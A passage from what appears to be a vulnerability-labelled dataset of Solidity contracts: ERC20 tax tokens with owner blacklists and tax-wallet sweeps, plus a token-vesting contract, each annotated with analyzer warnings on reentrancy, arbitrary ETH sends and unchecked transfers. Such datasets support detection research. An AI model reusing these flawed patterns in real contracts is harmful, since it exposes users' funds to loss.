'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: daae42d\n\t\t\t\t// reentrancy-eth | ID: d664d8a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: daae42d\n\t\t\t\t\t// reentrancy-eth | ID: d664d8a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d664d8a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d664d8a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d664d8a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: daae42d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d664d8a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d664d8a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: daae42d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: daae42d\n\t\t// reentrancy-events | ID: b550ec9\n\t\t// reentrancy-benign | ID: 9100b72\n\t\t// reentrancy-eth | ID: d664d8a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8180b82): sadge.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8180b82: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: daae42d\n\t\t// reentrancy-events | ID: b550ec9\n\t\t// reentrancy-eth | ID: d664d8a\n\t\t// arbitrary-send-eth | ID: 8180b82\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d655951): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d655951: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3eb6378): sadge.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3eb6378: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 03e4b58): sadge.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 03e4b58: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31e56a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31e56a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d655951\n\t\t// reentrancy-eth | ID: 31e56a3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d655951\n\t\t// unused-return | ID: 03e4b58\n\t\t// reentrancy-eth | ID: 31e56a3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d655951\n\t\t// unused-return | ID: 3eb6378\n\t\t// reentrancy-eth | ID: 31e56a3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d655951\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 31e56a3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1022.sol",
"size_bytes": 19508,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: e237da7): USDT has incorrect ERC20 function interfaceUSDT.transferFrom(address,address,uint256)\n// Recommendation for e237da7: Set the appropriate return values and types for the defined 'ERC20' functions.\ninterface USDT {\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: e237da7): USDT has incorrect ERC20 function interfaceUSDT.transferFrom(address,address,uint256)\n\t// Recommendation for e237da7: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transferFrom(address from, address to, uint256 value) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract AICO_VESTING is Context, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 65a608d): AICO_VESTING.aico should be immutable \n\t// Recommendation for 65a608d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 aico;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dbd5ce1): AICO_VESTING.usdt should be immutable \n\t// Recommendation for dbd5ce1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n USDT usdt;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2773675): AICO_VESTING.seedLockTotal should be constant \n\t// Recommendation for 2773675: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockTotal = 100000000e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6af10a): AICO_VESTING.seedLockPeriodAmount should be constant \n\t// Recommendation for a6af10a: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockPeriodAmount = 7333333e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8323f4): AICO_VESTING.seedLockUnvested should be constant \n\t// Recommendation for f8323f4: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockUnvested = 12000004e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ba9928): AICO_VESTING.seedLockStart should be constant \n\t// Recommendation for 2ba9928: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockStart = 1727049600;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba5d2e9): AICO_VESTING.seedLockPeriodLength should be constant \n\t// Recommendation for ba5d2e9: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockPeriodLength = 30 days;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e3999a): AICO_VESTING.seedLockPeriodsNumber should be constant \n\t// Recommendation for 2e3999a: Add the 'constant' attribute to state variables that never change.\n uint256 public seedLockPeriodsNumber = 12;\n\n uint256 public seedLockWithdrawnAmount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9e3041): AICO_VESTING.privateSaleTotal should be constant \n\t// Recommendation for d9e3041: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSaleTotal = 150000000e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 779d83c): AICO_VESTING.privateSalePeriodAmount should be constant \n\t// Recommendation for 779d83c: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSalePeriodAmount = 9375000e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5eb478e): AICO_VESTING.privateSaleUnvested should be constant \n\t// Recommendation for 5eb478e: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSaleUnvested = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fd22ef): AICO_VESTING.privateSaleStart should be constant \n\t// Recommendation for 4fd22ef: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSaleStart = 1724544000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92601c9): AICO_VESTING.privateSalePeriodLength should be constant \n\t// Recommendation for 92601c9: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSalePeriodLength = 30 days;\n\n\t// WARNING Optimization Issue (constable-states | ID: a18d780): AICO_VESTING.privateSalePeriodsNumber should be constant \n\t// Recommendation for a18d780: Add the 'constant' attribute to state variables that never change.\n uint256 public privateSalePeriodsNumber = 16;\n\n uint256 public privateSaleTokenPrice = 10000000000000;\n\n mapping(address account => uint256) public privateSaleWithdrawnAmounts;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b19a28): AICO_VESTING.teamSaleTotal should be constant \n\t// Recommendation for 8b19a28: Add the 'constant' attribute to state variables that never change.\n uint256 public teamSaleTotal = 200000000e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: b497918): AICO_VESTING.teamPeriodAmount should be constant \n\t// Recommendation for b497918: Add the 'constant' attribute to state variables that never change.\n uint256 public teamPeriodAmount = 8333333e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7161c5e): AICO_VESTING.teamUnvested should be constant \n\t// Recommendation for 7161c5e: Add the 'constant' attribute to state variables that never change.\n uint256 public teamUnvested = 8e18;\n\n\t// WARNING Optimization Issue (constable-states | ID: e099de5): AICO_VESTING.teamStart should be constant \n\t// Recommendation for e099de5: Add the 'constant' attribute to state variables that never change.\n uint256 public teamStart = 1724976000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ba9ce2): AICO_VESTING.teamPeriodLength should be constant \n\t// Recommendation for 9ba9ce2: Add the 'constant' attribute to state variables that never change.\n uint256 public teamPeriodLength = 30 days;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3553628): AICO_VESTING.teamPeriodsNumber should be constant \n\t// Recommendation for 3553628: Add the 'constant' attribute to state variables that never change.\n uint256 public teamPeriodsNumber = 24;\n\n uint256 public teamWithdrawnAmount = 0;\n\n mapping(address account => uint256) public balances;\n\n uint256 public totalBoughtAmount = 0;\n\n constructor() {\n aico = IERC20(0x4939FDF31F6753E1600307e50ADA499375361FC9);\n\n usdt = USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 12957b7): AICO_VESTING.setPrivateSaleTokenPrice(uint256) should emit an event for privateSaleTokenPrice = newPrice \n\t// Recommendation for 12957b7: Emit an event for critical parameter changes.\n function setPrivateSaleTokenPrice(\n uint256 newPrice\n ) external onlyOwner returns (bool) {\n\t\t// events-maths | ID: 12957b7\n privateSaleTokenPrice = newPrice;\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 16e5d4b): AICO_VESTING.buy(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < privateSaleStart,Private sale is ended)\n\t// Recommendation for 16e5d4b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eaacf1f): Reentrancy in AICO_VESTING.buy(uint256) External calls usdt.transferFrom(_msgSender(),owner(),usdtAmount) State variables written after the call(s) balances[_msgSender()] += tokenAmount\n\t// Recommendation for eaacf1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e39dae7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e39dae7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buy(uint256 usdtAmount) external returns (bool) {\n\t\t// timestamp | ID: 16e5d4b\n require(block.timestamp < privateSaleStart, \"Private sale is ended\");\n\n uint256 tokenAmount = usdtAmount * privateSaleTokenPrice;\n\n require(\n totalBoughtAmount + tokenAmount < privateSaleTotal,\n \"Market cap exceeded\"\n );\n\n\t\t// reentrancy-benign | ID: eaacf1f\n\t\t// reentrancy-no-eth | ID: e39dae7\n usdt.transferFrom(_msgSender(), owner(), usdtAmount);\n\n\t\t// reentrancy-benign | ID: eaacf1f\n balances[_msgSender()] += tokenAmount;\n\n\t\t// reentrancy-no-eth | ID: e39dae7\n totalBoughtAmount += tokenAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dd5e57b): AICO_VESTING.withdrawPrivateSaleOwnerTokens(address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > privateSaleStart,Private sale is not ended)\n\t// Recommendation for dd5e57b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9cfbd2e): AICO_VESTING.withdrawPrivateSaleOwnerTokens(address) ignores return value by aico.transfer(to,amount)\n\t// Recommendation for 9cfbd2e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawPrivateSaleOwnerTokens(\n address to\n ) external onlyOwner returns (bool) {\n\t\t// timestamp | ID: dd5e57b\n require(\n block.timestamp > privateSaleStart,\n \"Private sale is not ended\"\n );\n\n uint256 amount = privateSaleTotal - totalBoughtAmount;\n\n totalBoughtAmount = privateSaleTotal;\n\n\t\t// unchecked-transfer | ID: 9cfbd2e\n aico.transfer(to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ec39a15): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ec39a15: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 321c6ba): AICO_VESTING.withdrawPrivateSaleTokens(address,uint256) ignores return value by aico.transfer(to,amount)\n\t// Recommendation for 321c6ba: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawPrivateSaleTokens(\n address to,\n uint256 amount\n ) external returns (bool) {\n uint256 unlockedTokens = _calculateUnlockedTokens(\n privateSaleStart,\n privateSalePeriodLength,\n privateSalePeriodAmount,\n privateSalePeriodsNumber,\n privateSaleUnvested\n );\n\n uint256 senderUnlockedTokens = (unlockedTokens *\n balances[_msgSender()]) / privateSaleTotal;\n\n\t\t// timestamp | ID: ec39a15\n require(\n amount + privateSaleWithdrawnAmounts[_msgSender()] <=\n senderUnlockedTokens,\n \"Invalid amount\"\n );\n\n privateSaleWithdrawnAmounts[_msgSender()] += amount;\n\n\t\t// unchecked-transfer | ID: 321c6ba\n aico.transfer(to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c00d9a0): AICO_VESTING.withdrawSeedLockTokens(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(amount + seedLockWithdrawnAmount <= unlockedTokens,Invalid amount)\n\t// Recommendation for c00d9a0: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3fb2351): AICO_VESTING.withdrawSeedLockTokens(address,uint256) ignores return value by aico.transfer(to,amount)\n\t// Recommendation for 3fb2351: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawSeedLockTokens(\n address to,\n uint256 amount\n ) external onlyOwner returns (bool) {\n uint256 unlockedTokens = _calculateUnlockedTokens(\n seedLockStart,\n seedLockPeriodLength,\n seedLockPeriodAmount,\n seedLockPeriodsNumber,\n seedLockUnvested\n );\n\n\t\t// timestamp | ID: c00d9a0\n require(\n amount + seedLockWithdrawnAmount <= unlockedTokens,\n \"Invalid amount\"\n );\n\n seedLockWithdrawnAmount += amount;\n\n\t\t// unchecked-transfer | ID: 3fb2351\n aico.transfer(to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ffef595): AICO_VESTING.withdrawTeamTokens(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(amount + teamWithdrawnAmount <= unlockedTokens,Invalid amount)\n\t// Recommendation for ffef595: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a4cf9db): AICO_VESTING.withdrawTeamTokens(address,uint256) ignores return value by aico.transfer(to,amount)\n\t// Recommendation for a4cf9db: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawTeamTokens(\n address to,\n uint256 amount\n ) external onlyOwner returns (bool) {\n uint256 unlockedTokens = _calculateUnlockedTokens(\n teamStart,\n teamPeriodLength,\n teamPeriodAmount,\n teamPeriodsNumber,\n teamUnvested\n );\n\n\t\t// timestamp | ID: ffef595\n require(\n amount + teamWithdrawnAmount <= unlockedTokens,\n \"Invalid amount\"\n );\n\n teamWithdrawnAmount += amount;\n\n\t\t// unchecked-transfer | ID: a4cf9db\n aico.transfer(to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d135df2): AICO_VESTING._calculateUnlockedTokens(uint256,uint256,uint256,uint256,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp < _timeStart periods > _periodsNumber\n\t// Recommendation for d135df2: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5875b41): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 5875b41: Consider ordering multiplication before division.\n function _calculateUnlockedTokens(\n uint256 _timeStart,\n uint256 _periodLength,\n uint256 _periodAmount,\n uint256 _periodsNumber,\n uint256 _unvestedAmount\n ) private view returns (uint256) {\n\t\t// timestamp | ID: d135df2\n if (block.timestamp < _timeStart) {\n return 0;\n }\n\n\t\t// divide-before-multiply | ID: 5875b41\n uint256 periods = (block.timestamp - _timeStart) / _periodLength;\n\n\t\t// timestamp | ID: d135df2\n\t\t// divide-before-multiply | ID: 5875b41\n periods = periods > _periodsNumber ? _periodsNumber : periods;\n\n\t\t// divide-before-multiply | ID: 5875b41\n return _unvestedAmount + periods * _periodAmount;\n }\n}\n",
"file_name": "solidity_code_10220.sol",
"size_bytes": 17213,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract NexF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExile;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cedfea): NexF._initialBuyTax should be constant \n\t// Recommendation for 3cedfea: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a10bcc7): NexF._initialSellTax should be constant \n\t// Recommendation for a10bcc7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0fb373): NexF._finalBuyTax should be constant \n\t// Recommendation for e0fb373: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff5cbb0): NexF._finalSellTax should be constant \n\t// Recommendation for ff5cbb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9c641d): NexF._reduceBuyTaxAt should be constant \n\t// Recommendation for c9c641d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d8861e): NexF._reduceSellTaxAt should be constant \n\t// Recommendation for 4d8861e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2ab2e2): NexF._preventSwapBefore should be constant \n\t// Recommendation for f2ab2e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private constant _uniswapRouter =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"NexF\";\n\n string private constant _symbol = unicode\"NexF\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49d6955): NexF._taxSwapThreshold should be constant \n\t// Recommendation for 49d6955: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf50fcc): NexF._maxTaxSwap should be constant \n\t// Recommendation for bf50fcc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9bc9925): NexF._taxWallet should be immutable \n\t// Recommendation for 9bc9925: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public dexUniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19afb68): NexF.trspTaxExile should be constant \n\t// Recommendation for 19afb68: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 894934f): NexF.trspTaxExile is never initialized. It is used in NexF._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 894934f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private trspTaxExile;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n struct TranspMeta {\n uint256 metaTrsp;\n uint256 metaNativeCur;\n uint256 isIncluded;\n }\n\n uint256 private minMetaTr;\n\n mapping(address => TranspMeta) private transpMeta;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2A63514b68bc9926b8046Ab2498173b12782b713);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExile[address(this)] = true;\n\n _isExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0143fd): 